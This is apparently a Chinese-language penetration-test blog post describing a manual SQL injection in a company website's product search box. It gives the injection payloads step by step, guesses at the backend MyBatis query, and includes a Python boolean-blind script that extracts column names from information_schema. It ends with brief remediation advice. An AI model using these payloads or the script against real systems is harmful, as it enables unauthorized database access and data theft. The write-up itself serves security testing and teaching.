一次丝滑的手工SQL注入
记一次丝滑的手工SQL注入
- 背景
- 前置知识
- 实际操作
- 1.判断是否可注入
- 2.构造payload
- 3.猜测后端真实的SQL
- 外话
- 修复方式
背景
HW前期,公司让做一次暴露面筛查,还夹杂着杂七杂八的iot渗透任务。在某个迷迷糊糊的下午,不知道怎么自己就SQL注入的手法又有了新的思路,这得益于平时看攻防社区大佬的技术博文,思路和大佬相似,但又有些许自己的见解。
前几天在看一篇攻防实操技术博文,大佬提到,可以在搜索栏中输入"*"这个符号进行模糊匹配,然后再看是不是可以构造相应判断注入的语句。
前置知识
SQL语句中,有like这样一个关键字,在搜索框中,为了更宽泛的匹配,都会引入这样类似的SQL语句
SELECT * FROM users WHERE username LIKE '%输入内容%';
实际操作
看到上面的URL,我试了一下,并没有SQL注入。然后我在:产品与服务 的搜索框中输入"%"
发现返回了所有的数据。
1.判断是否可注入
我输入 %’ OR ‘1’=‘1,发现返回所有数据,而输入%’ AND ‘1’=‘2,发现返回0条数据,于是想在这里进行更深入的尝试。
但当我输入%’ AND ‘1’='1的时候,仍然返回0条数据。还好我没有放弃,这里需要分析背后的原因。
如果后端SQL是这样拼接的:
SELECT * FROM users WHERE username LIKE '%[payload]%';
插入进去后就变成:
LIKE '%%' OR '1'='1%'
就是个字符串而不是布尔表达式了。
所以我需要进行闭合。
当我尝试第一种闭合猜测
%’ OR ‘1’=‘1’ –
这个报错信息说明当前的注入点确实生效了,但是在 SQL 执行阶段被 MyBatis(Java 的持久层框架)处理时出现了参数异常。
这说明:
- 当前语句已经被识别成了一段不需要参数的 SQL;
- 但是 MyBatis 的 Mapper 里还试图去绑定一个参数(比如 #{id});
- 注入的内容使 SQL 构造提前结束,导致 占位符参数失效;
- 所以最后:参数数量不匹配,报错
可能原始的MyBatis代码是
SELECT * FROM users WHERE username LIKE CONCAT('%', #{keyword}, '%') AND id = #{id}
拼接后变成了
SELECT * FROM users WHERE username LIKE '%\%' OR '1'='1' -- %' AND id = ?
此时 AND id = ? 被注释掉了,而 MyBatis 还想给 ? 赋值,就报错了。
2.构造payload
当我尝试第二种闭合猜测%’ OR 1’=‘1’
然后他就这么水灵灵的把SQL错误语句返回了。
%’ OR ‘1’=‘1’ --闭合之后,发现注释仍然不能终止SQL语句,通过返回,可以大致猜测后端的真实SQL,不止注入一次,而是把输入的内容带入到了多个位置
3.猜测后端真实的SQL
AND (detail.name LIKE '%keyword%' OR detail.model_key LIKE '%keyword%' OR rich.summary_txt LIKE '%keyword%'
)
所以当带入注入内容,实际上是:
detail.name LIKE '%%' OR '1'='1' -- %'
OR detail.model_key LIKE '%%' OR '1'='1' -- %'
OR rich.summary_txt LIKE '%%' OR '1'='1' -- %'
虽然注释了前面,后面两个还在执行
所以再次构造%’ OR ‘1’=‘1’ OR '% 让语句合法
后端是这样的:
detail.name LIKE '%%' OR '1'='1' OR '%%'
OR detail.model_key LIKE '%%' OR '1'='1' OR '%%'
OR rich.summary_txt LIKE '%%' OR '1'='1' OR '%%'
到此,我确定注入字段%’ AND 1=1 OR '%
然后进行布尔盲注,先用burp测试
然后写脚本进行批量爆破:
脚本模板如下:
import requestsurl = "" # 目标地址
headers = {}table_name = "" # 替换成目标表名
max_columns = 50 # 假设不超过50个字段
max_length = 30 # 假设字段名最长30字符def is_true(payload):data = {"keyword": payload}r = requests.post(url, json=data, headers=headers)return r'"total":111' in r.text # 替换为响应中条件为真的特征关键字def get_column_count():print("[*] Getting column count...")for i in range(1, max_columns + 1):payload = f"%' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='{table_name}') = {i} OR '%"if is_true(payload):print(f"[✔] Column count: {i}")return iprint("[!] Column count not found")return 0def extract_column_name(position):result = ""for i in range(1, max_length + 1):found = Falsefor ascii_code in range(32, 127):payload = f"%' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}' LIMIT {position},1), {i}, 1)) = {ascii_code} OR '%"if is_true(payload):result += chr(ascii_code)print(f"[+] Pos {position + 1}, Char {i}: {chr(ascii_code)}")found = Truebreakif not found:breakreturn resultif __name__ == "__main__":count = get_column_count()for i in range(count):print(f"\n[*] Extracting column {i + 1} name...")name = extract_column_name(i)print(f"[✔] Column {i + 1} name: {name}")
外话
如果数据库没有什么敏感信息,其实问题不大,所以从安全上设计,最好就是数据分开放,多台数据库部署。
修复方式
- 部署WAF,这可是公司官网。。
- 代码层,使用参数化查询,预编译等。。。